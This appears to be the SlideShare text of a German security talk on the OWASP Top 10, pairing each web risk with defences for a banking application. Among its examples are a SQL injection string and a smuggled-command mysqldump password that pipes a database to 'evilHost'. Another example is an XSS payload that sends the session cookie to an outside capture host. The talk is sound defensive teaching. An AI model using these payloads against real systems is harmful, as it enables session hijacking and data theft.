SlideShare ist ein Scribd-Unternehmen logo
1 von 55
Downloaden Sie, um offline zu lesen
Sichere
Webanwendungen
Thomas Bachmann
Lead Software Architect & CIO
Mambu GmbH
Twitter: @thobach
● Core Banking System
○ Verwaltung von Kunden, Konten, Transaktionen
○ Buchhaltung, Dokumentenmanagement,
Kundenkommunikation, Aufgabenverwaltung
○ Produktsetup, Nutzer- und Rechtemanagement
● Sensible Kundendaten
○ Buchhaltung des Unternehmens
○ Endkundendaten (CRM)
○ Finanzdaten von Endkunden (Verhalten, Bonität)
Anwendungsbeispiel
IT-Sicherheit
● IT-Sicherheit bezeichnet einen Zustand, in dem die
Risiken, die beim Einsatz von Informationstechnik
aufgrund von Bedrohungen und Schwachstellen
vorhanden sind, durch angemessene Maßnahmen auf
ein tragbares Maß reduziert sind.
● IT-Sicherheit ist also der Zustand, in dem
Vertraulichkeit, Integrität und Verfügbarkeit von
Informationen und Informationstechnik durch
angemessene Maßnahmen geschützt sind. (BSI)
Definition IT-Sicherheit
IT System &
DatenSchwachstellen
Bedrohung
/ Angriff
Maßnahmen
Risiken
IT-Sicherheit
Schutzziele der
IT-Sicherheit
● Sicherstellung von Datenzugriff nur für befugte Akteure
● Ausschluss von Beobachtung des Datentransfers oder
Manipulation von Daten durch unbefugte Akteure
● Umsetzungsbeispiele
○ Einsatz von Authentifizierung, Autorisierung und Kryptographie zur
Sicherstellung der Identität, Berechtigung und vertraulichen Übertragung
Vertraulichkeit
● Datenmanipulation nur durch befugte Akteure
● Gewährleistung der Nutzung von vollständigen,
korrekten und aktuellen Daten
● Vermeidung von Datenkorruption
● Umsetzungsbeispiele
○ Berechtigungssystem zur Verhinderung der direkten Datenbank
Manipulation des Kontostands durch Administrator
○ Checksummen
○ Logische Validierung der Integrität durch Fremdschlüssel
Integrität
● Verhältnis Ausfallzeit zur vereinbarten Zugänglichkeit
und Funktionsfähigkeit
○ (vereinbarte Servicezeit - Ausfallzeit) / vereinbarte
Servicezeit
○ Hochverfügbarkeit (99,99% Verfügbarkeit)
● Beispiel
○ Einsatz von redundanten, fehlertoleranten Systemen
Verfügbarkeit
● Authentizität: Echtheit des Systems mit dem ich
kommuniziere ist gewährleistet
○ z.B. Einsatz von SSL Zertifikaten
● Nichtabstreitbarkeit: Akteur kann nicht abstreiten dass er
die Aktivität getätigt hat
○ z.B. Einsatz von Audit Trails und Nutzung von MFA
oder kryptographischen Signaturen
● Zurechenbarkeit: Zuordnung von Aktivitäten zu Akteuren
○ z.B. Einsatz von Audit Trails
Authentizität, Nichtabstreitbarkeit,
Zurechenbarkeit
Soweit zur Theorie...
OWASP Top 10
Sicherheitsrisiken für
Webanwendungen
● A1: Injection
● A2: Fehler in Authentifizierung und Session-Management
● A3: Cross-Site Scripting (XSS)
● A4: Unsichere direkte Objektreferenzen
● A5: Sicherheitsrelevante Fehlkonfiguration
● A6: Verlust der Vertraulichkeit sensibler Daten
● A7: Fehlerhafte Autorisierung auf Anwendungsebene
● A8: Cross-Site Request Forgery (CSRF)
● A9: Nutzung von Kompon. mit bekannten Schwachstellen
● (A10: Ungeprüfte Um- und Weiterleitungen)
OWASP TOP 10 - Version 2013
● Interpretation von nicht-validierten Eingaben
● Angriffe
○ Daten auslesen, modifizieren, löschen
○ Befehle ausführen
● Beispiele: SQL, LDAP, OS Injection
○ SQL Injection: ' or 1=1 or username='
(http://localhost:8080/owasp-top10/?filter=%27+or+1
%3D1+or+username%3D%27&filter=Submit)
■ Alle Nutzernamen aller Mandanten
■ Time-based Injection - alle Informationen
A1: Injection
Aber ich nutze doch JPA!
● Beispiele (continued):
○ OS Injection: parametrisierte Systemaufrufe, z.B.
MySQL Dump Wrapper: mysqldump -u “ +
dbUsername + “ -p“ + dbPassword + “ -h “
+ DB_HOST + “ “ + DB_NAME
mit dbPassword = “passw0rd -h realHost
anyDb | mysql -u myUser -pmyPassw0rd -h
evilHost myDb”
A1: Injection
A1: Injection
● Schutz (1)
○ Allgemein
■ Eingabevalidierung und -bereinigung (Traue
keinem Client)
○ Zusätzlich gegen SQL Injection:
■ Prepared Statements mit Platzhaltern
■ Keine String Konkatenation um SQL Befehle zu
generieren
A1: Injection
● Schutz (2, continued)
○ Zusätzlich gegen Library Injection:
■ Testen ob Code ausgeführt wird
■ Quellcode review ob Eingaben / Dateien
interpretiert werden
■ Informationen beim Anbieter einholen
■ Externe Penetrationstester drauf ansetzen
● Fehler in Authentifizierung und Session-Management
● Angriffe:
○ Existierende Session übernehmen
○ Fremde Session autorisieren
○ Identität stehlen
A2: Auth. und Session-Management
● Beispiele:
○ Session Fixation:
http://localhost:8080/owasp-top10/index.jsp
○ Session Cookie stehlen per XSS:
http://localhost:8080/owasp-top10/index.jsp?filter=%3
Cscript%3Ex+%3D+new+XMLHttpRequest%28%29%
3B+x.open%28%22GET%22%2C+%22http%3A%2F
%2Frequestb.in%2F1krxmqz1%3Fs%3D%22+%2B+d
A2: Auth. und Session-Management
A2: Auth. und Session-Management
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Existierende Session
übernehmen
Session Cookie per JS
auslesbar (XSS)
"HTTP only" Flag für Session
Cookie setzen
Unverschlüsselte Übertragung
(HTTP im offenen WLAN)
HTTPS erzwingen (Redirect von
HTTP auf HTTPS), Secure Flag
Session ID per URL geteilt
(Browser Historie, geteilt per
E-Mail, Apache Logs)
URL Rewrite für Session IDs
deaktivieren und Cookies
verlangen
Session läuft serverseitig nicht
oder zu spät aus
Kurze Session Expiry setzen &
2. Faktor hinzuziehen (IP
Adresse, System Fingerprint)
Session bei Logout nur auf
Client Seite gelöscht (Cookie)
Serverseitig Session zerstören
A2: Auth. und Session-Management
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Fremde Session autorisieren Session Fixation (Nutzer
authentifiziert meine Session ID)
Bei Login neue Session ID
generieren
Identität stehlen (1) Erlauben unsicherer Passwörter Starke Passwortregeln
(alphanumerisch, 14 Zeichen)
Passwörter unsicher persistiert
(ungehasht)
Passwörter nur gehasht und
gesalzen ablegen, z.B. BCrypt
Demo Zugänge oder Standard
Admin Passwörter
Keine Testzugänge zulassen
Keine Standard Passwörter
benutzen
A2: Auth. und Session-Management
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Identität stehlen (2, continued) Kompromittiertes Passwort
durch Versand via E-Mail oder
Login über HTTP
Passwort (neu) setzen nur über
HTTPS
Login über HTTPS erzwingen
(Redirect von HTTP auf HTTPS)
Passwort Reset Link ohne
Ablaufdatum oder mehrfache
Nutzbarkeit
Passwort Reset Links nach
Einmal-Nutzung und spätestens
1h ablaufen lassen
Passwort im Browser Passwort
Safe gespeichert /
Auto-Vervollständigung
Auto-Completion für Login
Formular deaktivieren (leider oft
ignoriert)
● Schwachstelle: Ungefilterte Ausgabe und Interpretation
von Eingabedaten
● Angriffsmöglichkeiten
○ Existierende Session übernehmen
○ Informationen stehlen
○ Unbeabsichtigte Aktion ausführen
● Beispiel:
○ http://localhost:8080/owasp-top10/index.jsp?filter=%3
Cscript%3Ealert%28%22hi%22%29%3B%3C%2Fscri
pt%3E&filter=Submit
A3: Cross Site Scripting (XSS)
A3: Cross Site Scripting (XSS)
● Schutz:
○ Eingabevalidierung (z.B. Länge, Regex, Whitelisting)
○ Bereinigung vor Persistierung
○ Escaping der Ausgabe
○ Content Security Policies (CSP)
■ Content-Security-Policy: default-src 'self';
● URL (Parameter) Manipulation
● Angriffe
○ Zugriffe auf unberechtigte Informationen / Dateien
○ Ausführen unberechtigter Aktionen
● Beispiel:
http://localhost:8080/owasp-top10/user.jsp?userId=2
A4: Unsichere direkte Objektref.
● Schutz
○ Rechtevalidierung bei jedem Aufruf (auch bei "private
Links")
○ Nutzung indirekter Referenzen auf Client Seite und
Umwandlung in Datenbank Referenz im Server
A4: Unsichere direkte Objektref.
● Öffnung des Systems durch fehlerhafte Konfiguration
● Angriffe durch
○ Standardpasswörter oder kein Passwort
○ öffentliche Erreichbarkeit von internen Servern
A5: Sicherheitsrelevante Fehlkonf.
A5: Sicherheitsrelevante Fehlkonf.
● Schutz
○ Dokumentation bzgl. Produktionseinsatz beachten
○ Konfigurationsdateien lesen und verstehen
○ Schutzmechanismen auf mehreren Ebenen einbauen
■ Netzwerk: IP & Port Whitelisting
■ Netzwerk: Verschlüsselung der Verbindung
■ Netzwerk: DMZ z.B. mit Bastion Host der Zugriff
nur per SSH-Tunnel erlaubt
■ Anwendung: Sichere Passwörter
■ Intrusion Detection / Prevention System
A6: Verlust der Vertraulichkeit s. D.
● Beispiele
○ Ungeschützte Datenbanken, z.B. MongoDB
○ "Private" Links z.B. aus Dropbox
○ Standardpasswörter oder unsichere Passwörter
○ Brute Force
○ Netzwerk belauschen (offenes WLAN, physikalischer
Angriff)
○ Physischer Zugriff auf unverschlüsselte Backups
○ Schwache Kryptografie (MD5, SSLv3, TLS <1.2, RC4,
schwache Zufallszahlen, kein / gleiches Salt, HTTP)
● Schutz (1)
○ Risikomanagement
○ Datensparsamkeit (Erhebung & Löschung)
○ Starke Kryptographie (Algorithmen)
○ siehe Sicherheitsrelevante Fehlkonfiguration
○ siehe Unsichere direkte Objektreferenzen
○ Keine Verwendung von "Privaten" Links
○ Verschlüsselung des Netzwerkverkehrs
A6: Verlust der Vertraulichkeit s. D.
A6: Verlust der Vertraulichkeit s. D.
● Schutz (2)
○ Ende-zu-Ende Verschlüsselung der Daten (PGP)
○ Multi-Faktor-Authentifizierung (Wissen, Besitzen)
■ Passwort
■ feste IP Adresse
■ zeitbasierte Einmalschlüssel / Time-based
One-time Password Algorithm (TOTP)
● Parameter Manipulation in Verbindung mit fehlender oder
fehlerhafter serverseitiger Rechte Prüfung
● Beispiel
○ Eingabeparameter Manipulation bei nur clientseitige
Eingabevalidierung:
curl 'http://localhost:8080/owasp-top10
/user.jsp?userId=1' --data 'userId=1&
username=abcdef'
○ Referenzierung von Objekten ohne Zugriffsrechte
A7: Fehlerhafte Autorisierung a. AE.
A7: Fehlerhafte Autorisierung a. AE.
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Direkter Aufruf einer URL die
nur höher privilegierte Nutzer in
der Oberfläche sehen
Fehlende serverseitige
Rechteprüfung bei jedem
Aufruf und Ressourcenzugriff
Serverseitige Rechteprüfung
für alle Funktionen und
Ressourcen inkl. abhängigen
Sub-Ressourcen
Relevante Autorisierung wird
als Anfrageparameter (z.B.
Rolle im Cookie) übergeben
Speicherung von
Berechtigungen in Session
oder Echtzeit Rechte Abfrage
auf Datenbank bei jeder Aktion
Manipulation von Daten
außerhalb meines
Sichtbarkeitsbereichs
Fehlende serverseitige
Rechteprüfung bei jedem Aufruf
und Ressourcenzugriff
Serverseitige Rechteprüfung für
alle Funktionen und Ressourcen
inkl. abhängigen
Sub-Ressourcen die als
Parameter übergeben werden
● Besuch einer Webseite löst ungewollt Aktion auf einer
anderen Webseite aus
● Beispiel
○ andere Webseite hat XSS Lücke
○ bösartige Webseite
■ file:///Users/thobach/Documents/MyMam
bu_Workspace/owasp-top10/static/evil-
website.html
○ bösartige Werbeanzeige auf gutartiger Webseite
A8: Cross-Site Req. Forgery (CSRF)
● Bonus: Logout Button benutzen
A8: Cross-Site Req. Forgery (CSRF)
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Böswilliges oder manipuliertes
img oder iframe Tag,
JavaScript oder Formular auf
dritter Webseite
Kein unvorhersehbarer
geheimer Token bei jeder
Anfrage mitgesendet bzw. kein
zweiter Faktor bei sensiblen
Anfragen verlangt
CSRF Token bei Login
erzeugen und jedem Request im
Payload mitsenden (nicht
Cookie, z.B. hidden input
Feld) und serverseitig prüfen
(z.B. Servlet Filter)
Captcha, Passwort erneut
verlangen, TAN
Access-Control-Allow-Or
igin: *
Same-origin Policy
● Scan oder Analyse der Anwendung gibt benutzte
Drittkomponenten preis, die ggf. veraltet und angreifbar
sind
● Beispiel:
○ Response Header Server weist auf Tomcat hin
○ Fehlermeldung zeigt Tomcat Version:
http://localhost:8080/owasp-top10/user.jsp?userId=
○ Heartbleed (OpenSSL / CVE-2014-0160)
A9: N. v. K. m. bekannten Schwachst.
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
1. Scan oder Analyse der
Anwendung auf genutzte
Komponenten und
Versionen
2. Ausnutzen von
Sicherheitslücken in
genutzten Komponenten
Preisgeben der genutzte
Komponenten und Versionen
(security through obscurity)
Fehlerseiten im Produktivbetrieb
deaktivieren
Server Response Header
überschreiben
Ausnutzen bekannter
Schwachstellen (Injection, XSS,
CSRF, Konfiguration,
Kryptographie)
Nutzung aktueller Versionen
(aktives Dependency
Management, Dependency
Tree)
Nutzung sicherer Komponenten
(Framework/Library
Management)
Härten der genutzten
Komponenten (Konfiguration)
A9: N. v. K. m. bekannten Schwachst.
● Offene Um- oder Weiterleitungen ohne Prüfung durch die
der Nutzer vermutet es sei eine sichere Seite
● Beispiele
○ Weiterleitung von vertrauenswürdiger URL z.B. auf
Phishing Seite:
http://www.example.com/redirect.jsp?url=evil.com
○ Weiterleitung auf interne Seite für die keine
Berechtigung existiert:
http://www.example.com/boring.jsp?fwd=admin.jsp
A10: Ungeprüfte Um- und Weiterleitg.
● Schutzmaßnahmen
○ auf Weiterleitungen oder Umleitungen verzichten
○ oder Whitelisting verwenden und Autorisierung prüfen
A10: Ungeprüfte Um- und Weiterleitg.
Weitere Vorgehensweise
● Sicherheitsziele und -policy festlegen und sensibilisieren
● Risikoprofil erstellen
○ Daten, Systeme, Angriffsmöglichkeiten,
Schutzmaßnahmen und konkrete
Umsetzungsmöglichkeiten erfassen und priorisieren
● Implementierung anhand Priorisierung
● Interner Test
● Externer Penetrationstest
● Prozess: PDCA
● “Tue Gutes und sprich darüber” - Sichtbarkeit beim Mgmt.
Risikomanagement
● Anbieterauswahl (Vertrauen, Qualifikation, Beispiel
Reports, Kosten)
● Risikobasierter Ansatz, Risikoprofil, Umfang
● Projektansatz
● Umsetzung der Ergebnissen einplanen
● Re-Test zumindest bei erstem externen Test einplanen
● Abstand von Sicherheitszertifizierungen für
Anwendungen
● Frequenz, Anbieterwechsel, Umfang
● 5 Whys Meeting (Prozessprobleme)
Erfahrungen mit ext. Penetrationstests
Zusammenfassung
Technisch
● Client- und Serverseitige Eingabevalidierung
(Injection, XSS)
● Sessionmanagement (Autentifizierung, CSRF)
● Serverseitige Rechteprüfung
● Layered Security / Defense in Depth
● Aktuelle, hochwertige, wohl-konfigurierte
Dependencies
● Starke Verschlüsselung (Transport & Ruhe)
Menschen
● Ausbildung
● Sensibilisierung
Prozesse
● Risikomanagement (PDCA)
● Secure Coding Guidelines
● Code Reviews
Fragen und Feedback
Danke

Weitere ähnliche Inhalte

Ähnlich wie Sichere Webanwendungen

Cyber Security / OWASP Juice Shop
Cyber Security / OWASP Juice ShopCyber Security / OWASP Juice Shop
Cyber Security / OWASP Juice ShopMartin Abraham
 
Kryptografie und Zertifikate (Cryptoparty)
Kryptografie und Zertifikate (Cryptoparty)Kryptografie und Zertifikate (Cryptoparty)
Kryptografie und Zertifikate (Cryptoparty)tschikarski
 
D3 000908 Lotusday Hagen Bcc Id Vault
D3 000908 Lotusday Hagen Bcc Id VaultD3 000908 Lotusday Hagen Bcc Id Vault
D3 000908 Lotusday Hagen Bcc Id VaultAndreas Schulte
 
Sicherheitsprüfung für HP NonStop Systeme
Sicherheitsprüfung für HP NonStop SystemeSicherheitsprüfung für HP NonStop Systeme
Sicherheitsprüfung für HP NonStop SystemePeter Haase
 
Hardening Oracle Databases (German)
Hardening Oracle Databases (German)Hardening Oracle Databases (German)
Hardening Oracle Databases (German)Carsten Muetzlitz
 
Azure Days 2019: Master the Move to Azure (Konrad Brunner)
Azure Days 2019: Master the Move to Azure (Konrad Brunner)Azure Days 2019: Master the Move to Azure (Konrad Brunner)
Azure Days 2019: Master the Move to Azure (Konrad Brunner)Trivadis
 
Das kleine Einmaleins der sicheren Architektur
Das kleine Einmaleins der sicheren ArchitekturDas kleine Einmaleins der sicheren Architektur
Das kleine Einmaleins der sicheren ArchitekturQAware GmbH
 
Das kleine Einmaleins der sicheren Architektur @heise_devSec
Das kleine Einmaleins der sicheren Architektur @heise_devSecDas kleine Einmaleins der sicheren Architektur @heise_devSec
Das kleine Einmaleins der sicheren Architektur @heise_devSecMario-Leander Reimer
 
Sicherheitsfunktionen In Aktuellen Betriebssystemen Talk
Sicherheitsfunktionen In Aktuellen Betriebssystemen TalkSicherheitsfunktionen In Aktuellen Betriebssystemen Talk
Sicherheitsfunktionen In Aktuellen Betriebssystemen TalkUdo Ornik
 
Webhacks am Beispiel PHP + MySQL
Webhacks am Beispiel PHP + MySQLWebhacks am Beispiel PHP + MySQL
Webhacks am Beispiel PHP + MySQLTorben Brodt
 
DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?
DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?
DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?Marc Müller
 
Teams Nation 2022 - Securing Microsoft 365 data with service encryption
Teams Nation 2022 - Securing Microsoft 365 data with service encryptionTeams Nation 2022 - Securing Microsoft 365 data with service encryption
Teams Nation 2022 - Securing Microsoft 365 data with service encryptionThomas Stensitzki
 
CryptionPro HDD Flyer deutsch
CryptionPro HDD Flyer deutschCryptionPro HDD Flyer deutsch
CryptionPro HDD Flyer deutschcynapspro GmbH
 
CryptionPro HDD Flyer deutsch
CryptionPro HDD Flyer deutschCryptionPro HDD Flyer deutsch
CryptionPro HDD Flyer deutschcynapspro GmbH
 
Microsoft security workshop komplett
Microsoft security workshop   komplettMicrosoft security workshop   komplett
Microsoft security workshop komplettAllessandra Negri
 
Single Sign-On Technologieüberblick
Single Sign-On TechnologieüberblickSingle Sign-On Technologieüberblick
Single Sign-On TechnologieüberblickBelsoft
 

Ähnlich wie Sichere Webanwendungen (20)

Cyber Security / OWASP Juice Shop
Cyber Security / OWASP Juice ShopCyber Security / OWASP Juice Shop
Cyber Security / OWASP Juice Shop
 
Kryptografie und Zertifikate (Cryptoparty)
Kryptografie und Zertifikate (Cryptoparty)Kryptografie und Zertifikate (Cryptoparty)
Kryptografie und Zertifikate (Cryptoparty)
 
5 Schritte zu mehr Cybersecurity
5 Schritte zu mehr Cybersecurity5 Schritte zu mehr Cybersecurity
5 Schritte zu mehr Cybersecurity
 
D3 000908 Lotusday Hagen Bcc Id Vault
D3 000908 Lotusday Hagen Bcc Id VaultD3 000908 Lotusday Hagen Bcc Id Vault
D3 000908 Lotusday Hagen Bcc Id Vault
 
Sicherheitsprüfung für HP NonStop Systeme
Sicherheitsprüfung für HP NonStop SystemeSicherheitsprüfung für HP NonStop Systeme
Sicherheitsprüfung für HP NonStop Systeme
 
Hardening Oracle Databases (German)
Hardening Oracle Databases (German)Hardening Oracle Databases (German)
Hardening Oracle Databases (German)
 
Azure Days 2019: Master the Move to Azure (Konrad Brunner)
Azure Days 2019: Master the Move to Azure (Konrad Brunner)Azure Days 2019: Master the Move to Azure (Konrad Brunner)
Azure Days 2019: Master the Move to Azure (Konrad Brunner)
 
Das kleine Einmaleins der sicheren Architektur
Das kleine Einmaleins der sicheren ArchitekturDas kleine Einmaleins der sicheren Architektur
Das kleine Einmaleins der sicheren Architektur
 
Das kleine Einmaleins der sicheren Architektur @heise_devSec
Das kleine Einmaleins der sicheren Architektur @heise_devSecDas kleine Einmaleins der sicheren Architektur @heise_devSec
Das kleine Einmaleins der sicheren Architektur @heise_devSec
 
Keine Kompromisse! Mehr Sicherheit & Compliance für IBM Domino
Keine Kompromisse! Mehr Sicherheit & Compliance für IBM DominoKeine Kompromisse! Mehr Sicherheit & Compliance für IBM Domino
Keine Kompromisse! Mehr Sicherheit & Compliance für IBM Domino
 
MaRisk Andorderungen erfüllen - Analyse von Rechten und Rollen in IBM Domino ...
MaRisk Andorderungen erfüllen - Analyse von Rechten und Rollen in IBM Domino ...MaRisk Andorderungen erfüllen - Analyse von Rechten und Rollen in IBM Domino ...
MaRisk Andorderungen erfüllen - Analyse von Rechten und Rollen in IBM Domino ...
 
Sicherheitsfunktionen In Aktuellen Betriebssystemen Talk
Sicherheitsfunktionen In Aktuellen Betriebssystemen TalkSicherheitsfunktionen In Aktuellen Betriebssystemen Talk
Sicherheitsfunktionen In Aktuellen Betriebssystemen Talk
 
Cryption proflyer de
Cryption proflyer deCryption proflyer de
Cryption proflyer de
 
Webhacks am Beispiel PHP + MySQL
Webhacks am Beispiel PHP + MySQLWebhacks am Beispiel PHP + MySQL
Webhacks am Beispiel PHP + MySQL
 
DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?
DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?
DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?
 
Teams Nation 2022 - Securing Microsoft 365 data with service encryption
Teams Nation 2022 - Securing Microsoft 365 data with service encryptionTeams Nation 2022 - Securing Microsoft 365 data with service encryption
Teams Nation 2022 - Securing Microsoft 365 data with service encryption
 
CryptionPro HDD Flyer deutsch
CryptionPro HDD Flyer deutschCryptionPro HDD Flyer deutsch
CryptionPro HDD Flyer deutsch
 
CryptionPro HDD Flyer deutsch
CryptionPro HDD Flyer deutschCryptionPro HDD Flyer deutsch
CryptionPro HDD Flyer deutsch
 
Microsoft security workshop komplett
Microsoft security workshop   komplettMicrosoft security workshop   komplett
Microsoft security workshop komplett
 
Single Sign-On Technologieüberblick
Single Sign-On TechnologieüberblickSingle Sign-On Technologieüberblick
Single Sign-On Technologieüberblick
 

Sichere Webanwendungen

  • 1. Sichere Webanwendungen Thomas Bachmann Lead Software Architect & CIO Mambu GmbH Twitter: @thobach
  • 2. ● Core Banking System ○ Verwaltung von Kunden, Konten, Transaktionen ○ Buchhaltung, Dokumentenmanagement, Kundenkommunikation, Aufgabenverwaltung ○ Produktsetup, Nutzer- und Rechtemanagement ● Sensible Kundendaten ○ Buchhaltung des Unternehmens ○ Endkundendaten (CRM) ○ Finanzdaten von Endkunden (Verhalten, Bonität) Anwendungsbeispiel
  • 3.
  • 4.
  • 6. ● IT-Sicherheit bezeichnet einen Zustand, in dem die Risiken, die beim Einsatz von Informationstechnik aufgrund von Bedrohungen und Schwachstellen vorhanden sind, durch angemessene Maßnahmen auf ein tragbares Maß reduziert sind. ● IT-Sicherheit ist also der Zustand, in dem Vertraulichkeit, Integrität und Verfügbarkeit von Informationen und Informationstechnik durch angemessene Maßnahmen geschützt sind. (BSI) Definition IT-Sicherheit
  • 7. IT System & DatenSchwachstellen Bedrohung / Angriff Maßnahmen Risiken IT-Sicherheit
  • 9. ● Sicherstellung von Datenzugriff nur für befugte Akteure ● Ausschluss von Beobachtung des Datentransfers oder Manipulation von Daten durch unbefugte Akteure ● Umsetzungsbeispiele ○ Einsatz von Authentifizierung, Autorisierung und Kryptographie zur Sicherstellung der Identität, Berechtigung und vertraulichen Übertragung Vertraulichkeit
  • 10. ● Datenmanipulation nur durch befugte Akteure ● Gewährleistung der Nutzung von vollständigen, korrekten und aktuellen Daten ● Vermeidung von Datenkorruption ● Umsetzungsbeispiele ○ Berechtigungssystem zur Verhinderung der direkten Datenbank Manipulation des Kontostands durch Administrator ○ Checksummen ○ Logische Validierung der Integrität durch Fremdschlüssel Integrität
  • 11. ● Verhältnis Ausfallzeit zur vereinbarten Zugänglichkeit und Funktionsfähigkeit ○ (vereinbarte Servicezeit - Ausfallzeit) / vereinbarte Servicezeit ○ Hochverfügbarkeit (99,99% Verfügbarkeit) ● Beispiel ○ Einsatz von redundanten, fehlertoleranten Systemen Verfügbarkeit
  • 12. ● Authentizität: Echtheit des Systems mit dem ich kommuniziere ist gewährleistet ○ z.B. Einsatz von SSL Zertifikaten ● Nichtabstreitbarkeit: Akteur kann nicht abstreiten dass er die Aktivität getätigt hat ○ z.B. Einsatz von Audit Trails und Nutzung von MFA oder kryptographischen Signaturen ● Zurechenbarkeit: Zuordnung von Aktivitäten zu Akteuren ○ z.B. Einsatz von Audit Trails Authentizität, Nichtabstreitbarkeit, Zurechenbarkeit
  • 14. OWASP Top 10 Sicherheitsrisiken für Webanwendungen
  • 15. ● A1: Injection ● A2: Fehler in Authentifizierung und Session-Management ● A3: Cross-Site Scripting (XSS) ● A4: Unsichere direkte Objektreferenzen ● A5: Sicherheitsrelevante Fehlkonfiguration ● A6: Verlust der Vertraulichkeit sensibler Daten ● A7: Fehlerhafte Autorisierung auf Anwendungsebene ● A8: Cross-Site Request Forgery (CSRF) ● A9: Nutzung von Kompon. mit bekannten Schwachstellen ● (A10: Ungeprüfte Um- und Weiterleitungen) OWASP TOP 10 - Version 2013
  • 16. ● Interpretation von nicht-validierten Eingaben ● Angriffe ○ Daten auslesen, modifizieren, löschen ○ Befehle ausführen ● Beispiele: SQL, LDAP, OS Injection ○ SQL Injection: ' or 1=1 or username=' (http://localhost:8080/owasp-top10/?filter=%27+or+1 %3D1+or+username%3D%27&filter=Submit) ■ Alle Nutzernamen aller Mandanten ■ Time-based Injection - alle Informationen A1: Injection
  • 17. Aber ich nutze doch JPA!
  • 18.
  • 19. ● Beispiele (continued): ○ OS Injection: parametrisierte Systemaufrufe, z.B. MySQL Dump Wrapper: mysqldump -u “ + dbUsername + “ -p“ + dbPassword + “ -h “ + DB_HOST + “ “ + DB_NAME mit dbPassword = “passw0rd -h realHost anyDb | mysql -u myUser -pmyPassw0rd -h evilHost myDb” A1: Injection
  • 20.
  • 21. A1: Injection ● Schutz (1) ○ Allgemein ■ Eingabevalidierung und -bereinigung (Traue keinem Client) ○ Zusätzlich gegen SQL Injection: ■ Prepared Statements mit Platzhaltern ■ Keine String Konkatenation um SQL Befehle zu generieren
  • 22. A1: Injection ● Schutz (2, continued) ○ Zusätzlich gegen Library Injection: ■ Testen ob Code ausgeführt wird ■ Quellcode review ob Eingaben / Dateien interpretiert werden ■ Informationen beim Anbieter einholen ■ Externe Penetrationstester drauf ansetzen
  • 23. ● Fehler in Authentifizierung und Session-Management ● Angriffe: ○ Existierende Session übernehmen ○ Fremde Session autorisieren ○ Identität stehlen A2: Auth. und Session-Management
  • 24. ● Beispiele: ○ Session Fixation: http://localhost:8080/owasp-top10/index.jsp ○ Session Cookie stehlen per XSS: http://localhost:8080/owasp-top10/index.jsp?filter=%3 Cscript%3Ex+%3D+new+XMLHttpRequest%28%29% 3B+x.open%28%22GET%22%2C+%22http%3A%2F %2Frequestb.in%2F1krxmqz1%3Fs%3D%22+%2B+d A2: Auth. und Session-Management
  • 25. A2: Auth. und Session-Management Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Existierende Session übernehmen Session Cookie per JS auslesbar (XSS) "HTTP only" Flag für Session Cookie setzen Unverschlüsselte Übertragung (HTTP im offenen WLAN) HTTPS erzwingen (Redirect von HTTP auf HTTPS), Secure Flag Session ID per URL geteilt (Browser Historie, geteilt per E-Mail, Apache Logs) URL Rewrite für Session IDs deaktivieren und Cookies verlangen Session läuft serverseitig nicht oder zu spät aus Kurze Session Expiry setzen & 2. Faktor hinzuziehen (IP Adresse, System Fingerprint) Session bei Logout nur auf Client Seite gelöscht (Cookie) Serverseitig Session zerstören
  • 26. A2: Auth. und Session-Management Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Fremde Session autorisieren Session Fixation (Nutzer authentifiziert meine Session ID) Bei Login neue Session ID generieren Identität stehlen (1) Erlauben unsicherer Passwörter Starke Passwortregeln (alphanumerisch, 14 Zeichen) Passwörter unsicher persistiert (ungehasht) Passwörter nur gehasht und gesalzen ablegen, z.B. BCrypt Demo Zugänge oder Standard Admin Passwörter Keine Testzugänge zulassen Keine Standard Passwörter benutzen
  • 27. A2: Auth. und Session-Management Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Identität stehlen (2, continued) Kompromittiertes Passwort durch Versand via E-Mail oder Login über HTTP Passwort (neu) setzen nur über HTTPS Login über HTTPS erzwingen (Redirect von HTTP auf HTTPS) Passwort Reset Link ohne Ablaufdatum oder mehrfache Nutzbarkeit Passwort Reset Links nach Einmal-Nutzung und spätestens 1h ablaufen lassen Passwort im Browser Passwort Safe gespeichert / Auto-Vervollständigung Auto-Completion für Login Formular deaktivieren (leider oft ignoriert)
  • 28. ● Schwachstelle: Ungefilterte Ausgabe und Interpretation von Eingabedaten ● Angriffsmöglichkeiten ○ Existierende Session übernehmen ○ Informationen stehlen ○ Unbeabsichtigte Aktion ausführen ● Beispiel: ○ http://localhost:8080/owasp-top10/index.jsp?filter=%3 Cscript%3Ealert%28%22hi%22%29%3B%3C%2Fscri pt%3E&filter=Submit A3: Cross Site Scripting (XSS)
  • 29. A3: Cross Site Scripting (XSS) ● Schutz: ○ Eingabevalidierung (z.B. Länge, Regex, Whitelisting) ○ Bereinigung vor Persistierung ○ Escaping der Ausgabe ○ Content Security Policies (CSP) ■ Content-Security-Policy: default-src 'self';
  • 30. ● URL (Parameter) Manipulation ● Angriffe ○ Zugriffe auf unberechtigte Informationen / Dateien ○ Ausführen unberechtigter Aktionen ● Beispiel: http://localhost:8080/owasp-top10/user.jsp?userId=2 A4: Unsichere direkte Objektref.
  • 31. ● Schutz ○ Rechtevalidierung bei jedem Aufruf (auch bei "private Links") ○ Nutzung indirekter Referenzen auf Client Seite und Umwandlung in Datenbank Referenz im Server A4: Unsichere direkte Objektref.
  • 32. ● Öffnung des Systems durch fehlerhafte Konfiguration ● Angriffe durch ○ Standardpasswörter oder kein Passwort ○ öffentliche Erreichbarkeit von internen Servern A5: Sicherheitsrelevante Fehlkonf.
